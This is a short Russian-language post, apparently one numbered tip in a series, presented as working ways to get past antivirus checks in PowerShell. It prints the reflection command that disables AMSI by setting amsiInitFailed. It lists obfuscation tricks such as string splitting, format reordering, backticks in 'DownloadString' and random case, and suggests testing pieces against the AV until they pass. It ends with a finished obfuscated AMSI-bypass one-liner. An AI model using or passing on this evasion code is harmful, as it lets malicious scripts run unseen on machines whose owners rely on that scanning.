№9 Раз уже зашла речь про обфускацию, поделюсь парой рабочих способов обхода проверок кода. Для примера возьмем команду PowerShell, которая отключает
AMSI (Механизм защиты от вредоносных програм - не позволяет запускать PS скрпиты, которые могут быть вредоносными).
Это можно сделать следующей командой:
PS> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Но при попытке исполнения сама команда тоже будет проверена и помечена как вредоносная. Обычно AV детектирует вредоносные компоненты интерпретируемого кода по статическим сигнатурам. Например, если он встречает строку ("AmsiUtils") - команда будет помечена как вредоносная, поскольку на нее уже есть сигнатура. Но что если строка мы разобьем строку на две отдельные, и потом сконкатенируем их обратно ("Ams" + "iUtils")? AV проверит две строки, которые вероятно отсутствуют в базе и пропустит такой код.
Есть и другие способы:
* Разбиение строки с последующей комбинацией ('co'+'ffe'+'e')
* Перестановка частей строки ('{1}{0}' -f 'ffee','co')
* Вставка пробелов ( 'Ne' + 'w-Ob' + 'ject')
* Вставка бэктиков ("d`own`LoAd`Stri`ng")
* Рандомный регистр ("dOwnLoAdsTRing")
* Вынесение части команды в переменную ($Val="Get-Content" ; $Val('file.txt'))
В итоге, применив немного фантазии и скомбинировав разные техники, можно добится очень неплохого результата и обойти проверки.
При написании, хорошая идея - разбить команду на составные части и добавлять по кусочку, наблюдая за реакцией AV
Ах да, в итоге у меня получилась вот такая симпатичная команда =)
PS> $Val="SetValue";$ams='{1}{0}{2}'-f'Amsi','System.Management.Automation.','Utils';[Ref].Assembly.GetType($ams).GetField('a`mS'+'iIn'+ 'iTFa' + 'iL`ed','nOn' + 'Pu`BL`ic,sTaTic').$Val($null,$true)